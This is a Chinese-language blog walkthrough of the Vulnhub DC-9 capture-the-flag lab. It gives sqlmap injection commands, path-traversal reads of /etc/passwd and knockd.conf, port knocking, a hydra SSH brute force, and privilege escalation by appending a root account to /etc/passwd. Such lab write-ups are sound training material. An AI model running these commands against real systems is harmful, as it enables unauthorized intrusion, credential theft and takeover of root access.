freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

点我创作

试试在FreeBuf发布您的第一篇文章 让安全圈留下您的足迹
我知道了

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

Vulnhub--DC-9
CNjuzi 2023-01-08 09:10:18 245878
所属地 宁夏

Vulnhub--DC-9

一,部署方法

  1. 在官网上下载zip压缩包
  2. 下载到本地上解压缩后使用虚拟机导入.ova后缀的文件(在过程中出现问题不用理睬,点击重试即可)
  3. 配置网络,本人设置的是nat模式,这个看个人需求
  4. 打开靶机即可

二,靶机地址和描述

  1. 下载地址

https://www.vulnhub.com/entry/dc-9,412/

  1. 靶机描述

1673139794_63ba165298b9bff4e9447.png!small?1673139796389

三,测试

1. 信息收集

arp-scan -l

网段扫描,寻找靶机地址

1673139802_63ba165ae2e61e4d89cd7.png!small?1673139804892

发现靶机地址是153,攻击机地址为148

使用nmap对靶机进行深度扫描

nmap -A -T4 -p- 192.168.237.153

1673139808_63ba1660a61dd91b3d13f.png!small?1673139811211

发现开启了22端口,ssh服务和80端口,http服务。

访问靶机的80端口

1673139813_63ba1665b22046bbc05e2.png!small?1673139815782

成功访问。在网站上寻找功能点。找到一个搜索框

1673139819_63ba166b7cc963bd3c9dc.png!small?1673139821063

进行搜索后发现页面上没有回显,判断使用的是POST提交方式,怀疑存在SQL注入漏洞。

在目标网页搜索框中输入1进行搜索,点击F12,打开开发者工具,翻阅查看信息,发现在网络模组中的results.php的请求有效载荷中发现search=1.

1673139826_63ba167262572e51699f9.png!small?1673139828228

2.SQL注入漏洞的利用

使用sqlmap进行爆破数据库的信息。

sqlmap -u "http://192.168.237.153/results.php" --batch --dbs --data "search=1"

1673139843_63ba168355c9a9a359fa2.png!small?1673139844920

发现存在数据库users,怀疑这其中有存在用户的信息。

继续爆破数据库中的表名

sqlmap -u "http://192.168.237.153/results.php" --batch --data "search=1" -D users --tables

1673139851_63ba168b17fe17c042d7d.png!small?1673139852809

发现这其中只有一个表,爆破这表中的字段名

sqlmap -u "http://192.168.237.153/results.php" --batch --data "search=1" -D users -T UserDetails --columns

1673139890_63ba16b274055072f876d.png!small?1673139892156

这里发现username和password字段,进行爆破字段。

sqlmap -u "http://192.168.237.153/results.php" --batch --data "search=1" -D users -T UserDetails -C username,password --dump

1673139897_63ba16b928f71abc0c984.png!small?1673139898950

这里发现太多的用户名和密码,尝试爆破剩余两个的数据库,继续寻找线索

1673139901_63ba16bdb5dac135f86da.png!small?1673139903347

在别的数据库中发现admin用户和密码,尝试使用MD5解密。

1673139905_63ba16c1e05c907378469.png!small?1673139907485

解密出来admin的密码。

爆破出用户名和密码:admin/transorbital1

使用admin/transorbital1成功进行登录

1673139910_63ba16c617460759578ec.png!small?1673139911669

从页面页脚File does not exist中得知,文件不存在,怀疑存在文件包含漏洞。

3.文件包含漏洞的利用

得知这是apache服务器,判断这个网页路径存在/var/www/html下

http://192.168.237.153/manage.php?file=../../../../etc/passwd

找到账户信息

1673139920_63ba16d091a4c9fe2c2cd.png!small?1673139922973

存在文件包含漏洞,成功利用

在/etc/passwd中发现刚才数据库爆破出来的用户名和密码,尝试进行ssh登录,在刚开始信息阶段,发现22端口是被过滤状态。这里使用端口敲门服务尝试进行打开22端口。

参考文章:https://www.cnblogs.com/f-carey/p/16066178.html

端口敲门服务:即:knockd服务。该服务通过动态的添加iptables规则来隐藏系统开启的服务,使用自定义的一系列序列号来“敲门”,使系统开启需要访问的服务端口,才能对外访问。不使用时,再使用自定义的序列号来“关门”,将端口关闭,不对外监听。进一步提升了服务和系统的安全性。

这时可以通过文件包含漏洞来查看/etc/knockd.conf文件内容

http://192.168.237.153/welcome.php?file=../../../../etc/knockd.conf

1673139939_63ba16e3993491ff0258c.png!small?1673139941853

根据提示得知:

[openSSH] sequence = 7469,8475,9842

  • 打开SSH服务访问端口:7469,8475,9842

seq_timeout = 25

  • 设置的超时时间,时间太小会报错

command = /sbin/iptables -I INPUT -s %IP% -p tcp --dport 22 -j ACCEPT tcpflags = syn

  • 设置的敲门成功后执行的命令

[closeSSH] sequence = 9842,8475,7469

  • 关闭SSH服务访问端口:9842,8475,7469

4.端口敲门服务

下载knockd的服务

apt install knockd

1673139994_63ba171a6fdea992ba569.png!small?1673139996665

打开端口敲门服务

systemctl start knockd

1673139998_63ba171e8d5f7f4732b1a.png!small?1673140000177

这时使用打开SSH端口的暗号敲门

knock 192.168.237.153 7469 8475 9842

1673140008_63ba1728e7f3ab85d14cf.png!small?1673140010499

再次查看靶机开放端口

1673140012_63ba172c6162d1e288667.png!small?1673140014299

这时发现22端口是tcpwrapped,这说明TCP三次握手已经建立,但是还没有和主机建立连接。

发现使用knock进行端口敲门失败,换一种方式进行敲门。

nc 192.168.237.153 7469

nc 192.168.237.153 8475

nc 192.168.237.153 9842

nmap -A -T4 -p- 192.168.237.153

1673140028_63ba173cc012012f024e7.png!small?1673140030931

发现成功打开22端口。

5. 使用hydra爆破SSH服务的用户名和密码

将前面sqlmap爆破出来的用户名和密码分别保存到user.txt和passwd.txt中

1673140035_63ba1743968f72a0c3f65.png!small?1673140037250

1673140040_63ba174831f575f2821f9.png!small?1673140042060

使用hydra进行爆破SSH用户名和密码

hydra -L user.txt -P passwd.txt 192.168.237.153 ssh

1673140051_63ba17538277d02a22acd.png!small?1673140053582

这时发现三个用户名和账户都可以进行登录,接下来就是挨个登录查看每个用户下的内容。

6. SSH服务

挨个登录三个用户名和密码,同时查看根目录下的内容

1673140057_63ba17591ab3f7f811e4c.png!small?1673140058765

1673140060_63ba175c4917e0c80e395.png!small?1673140062079

1673140063_63ba175fc798e7cbf89a3.png!small?1673140065418

1673140068_63ba17642be2cf0473502.png!small?1673140069787

1673140073_63ba17691b6ed4c2d2042.png!small?1673140074704

1673140076_63ba176c20f49fff52039.png!small?1673140077729

发现在janitor用户目录下多了一个隐藏的文件,进行查看该文件

1673140079_63ba176f80366cd42d783.png!small?1673140081371

发现多的这个是目录。进入该目录查看

1673140084_63ba1774bcf6a96d2e652.png!small?1673140086402

发现在目录下存在一个文件,查看该文件

1673140093_63ba177d33f0e88ec303b.png!small?1673140094812

查看后同时根据文件名发现可能为密码

将这个文件内的内容粘贴到初始的密码字典中,再一次hydra爆破。

1673140097_63ba178156e93411d71aa.png!small?1673140099127

1673140102_63ba1786c1e80ad204250.png!small?1673140104736

发现一个新的用户和密码:fredf/B4-Tru3-001

使用这个用户进行ssh登录

1673140106_63ba178ae1b305c4add6f.png!small?1673140108656

成功登录,查看该用户下的内容

1673140110_63ba178edc927a122acd0.png!small?1673140112512

发现无新内容。

进行到这里能获得的信息基本上都获得了,下一步进行提权

7. 提权

输入sudo -l,查看可使用的命令

1673140115_63ba1793844fc6141ad10.png!small?1673140117356

发现一个root用户下的无密码的文件。进入目录尝试执行

1673140120_63ba179813fb37b81580b.png!small?1673140121768

发现执行该文件需要使用python test.py才能执行。

这时使用find寻找该文件

1673140123_63ba179b9ba869019b562.png!small?1673140125189

找到该文件位置

进入该文件目录并查看

1673140127_63ba179f92acf8a7bb9c0.png!small?1673140129358

sys.argv[1]是输入的第一个参数:r是read读,output是输出,将读的内容输出

sys.argv[2]是输入的第二个参数:a是append增加,w是写,output是sys.argv[1]里的输入的内容。

这段代码的意思是读取1中的内容并写入2中

那我们可以构造一个root权限的文件,并使用test.py写入/etc/passwd中,这样不就可以使用root权限进行登录。

首先要明确passwd的格式:

用户名:密码(hash值):uid:gid:注释性描述:宿主目录:命令解释器

这样就可以进行提权的操作了

首先进入/tmp目录,因为在这个目录下有写的权限

1673140155_63ba17bb08b2ea4ae03aa.png!small?1673140156696

这时使用openssl工具生成一个用户和密码

1673140158_63ba17be083e48276f16c.png!small?1673140159646

用户名:666 密码:666 -salt:使用撒盐加密

echo '666:$1$666$.8prVrBwKU7tneSglWDUT/:0:0::/root:/bin/bash' > 666

给用户666赋予root权限,写入文件666中。

sudo /opt/devstuff/dist/test/test /tmp/666 /etc/passwd

调用命令将666文件写入/etc/passwd中

1673140175_63ba17cfa19b16d064165.png!small?1673140177378

8. 获得flag

1673140182_63ba17d671423c9bcd819.png!small?1673140184298

成功解题。

四,总结

  1. 信息收集
  2. SQL注入漏洞
  3. Sqlmap的使用
  4. 端口敲门服务
  5. hydra爆破
  6. 特殊的提权
# 渗透测试 # web安全 # 内网渗透 # 网络安全技术 # vulnhub靶机
本文为 CNjuzi 独立观点,未经授权禁止转载。
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
vulnhub实战打靶系列
CNjuzi LV.5
欢迎关注公众号:HK安全小屋。公众号内定期更新网络安全方面的知识和心得!!
  • 18 文章数
  • 7 关注者
InfoSecWarrior CTF 2020: 01
2023-07-16
LAMPSecurity: CTF5
2023-03-28
LAMPSecurity: CTF4
2023-03-22
文章目录